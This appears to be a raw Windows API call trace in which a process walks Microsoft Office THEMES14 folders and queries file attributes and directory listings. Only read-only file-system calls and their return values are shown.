	[0050.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), fInfoLevelId=0x0, lpFileInformation=0x1278a5a8 | out: lpFileInformation=0x1278a5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.643] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.643] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.643] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278a738 | out: lpFileInformation=0x1278a738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba)) returned 1
	[0050.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\BLUECALM.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\bluecalm.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278a788 | out: lpFileInformation=0x1278a788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227)) returned 1
	[0050.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278a7d8 | out: lpFileInformation=0x1278a7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618)) returned 1
	[0050.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278a828 | out: lpFileInformation=0x1278a828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1)) returned 1
	[0050.644] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), fInfoLevelId=0x0, lpFileInformation=0x1278a878 | out: lpFileInformation=0x1278a878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.645] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.645] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278aa08 | out: lpFileInformation=0x1278aa08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86)) returned 1
	[0050.645] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\BLUEPRNT.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\blueprnt.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278aa58 | out: lpFileInformation=0x1278aa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225)) returned 1
	[0050.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278aaa8 | out: lpFileInformation=0x1278aaa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785)) returned 1
	[0050.646] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278aaf8 | out: lpFileInformation=0x1278aaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f)) returned 1
	[0050.647] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), fInfoLevelId=0x0, lpFileInformation=0x1278ab48 | out: lpFileInformation=0x1278ab48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.648] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.648] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.648] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278acd8 | out: lpFileInformation=0x1278acd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa)) returned 1
	[0050.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278ad28 | out: lpFileInformation=0x1278ad28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254)) returned 1
	[0050.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278ad78 | out: lpFileInformation=0x1278ad78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97)) returned 1
	[0050.648] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278adc8 | out: lpFileInformation=0x1278adc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d)) returned 1
	[0050.649] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), fInfoLevelId=0x0, lpFileInformation=0x1278ae18 | out: lpFileInformation=0x1278ae18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.649] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.649] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278afa8 | out: lpFileInformation=0x1278afa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537)) returned 1
	[0050.650] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278aff8 | out: lpFileInformation=0x1278aff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2)) returned 1
	[0050.651] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278b048 | out: lpFileInformation=0x1278b048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2)) returned 1
	[0050.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278b098 | out: lpFileInformation=0x1278b098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c)) returned 1
	[0050.652] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), fInfoLevelId=0x0, lpFileInformation=0x1278b138 | out: lpFileInformation=0x1278b138*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.653] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.653] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.653] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278b2c8 | out: lpFileInformation=0x1278b2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9)) returned 1
	[0050.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278b318 | out: lpFileInformation=0x1278b318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1)) returned 1
	[0050.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278b368 | out: lpFileInformation=0x1278b368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1)) returned 1
	[0050.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278b3b8 | out: lpFileInformation=0x1278b3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f)) returned 1
	[0050.655] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), fInfoLevelId=0x0, lpFileInformation=0x1278b408 | out: lpFileInformation=0x1278b408*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0050.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0050.655] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x123ed8b4 | out: lpFindFileData=0x123ed8b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0050.656] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0050.656] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), fInfoLevelId=0x0, lpFileInformation=0x1278b598 | out: lpFileInformation=0x1278b598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba)) returned 1
	[0050.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), fInfoLevelId=0x0, lpFileInformation=0x1278b5e8 | out: lpFileInformation=0x1278b5e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5)) returned 1
	[0050.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), fInfoLevelId=0x0, lpFileInformation=0x1278b638 | out: lpFileInformation=0x1278b638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc)) returned 1
	[0050.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), fInfoLevelId=0x0, lpFileInformation=0x1278b688 | out: lpFileInformation=0x1278b688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5)) returned 1
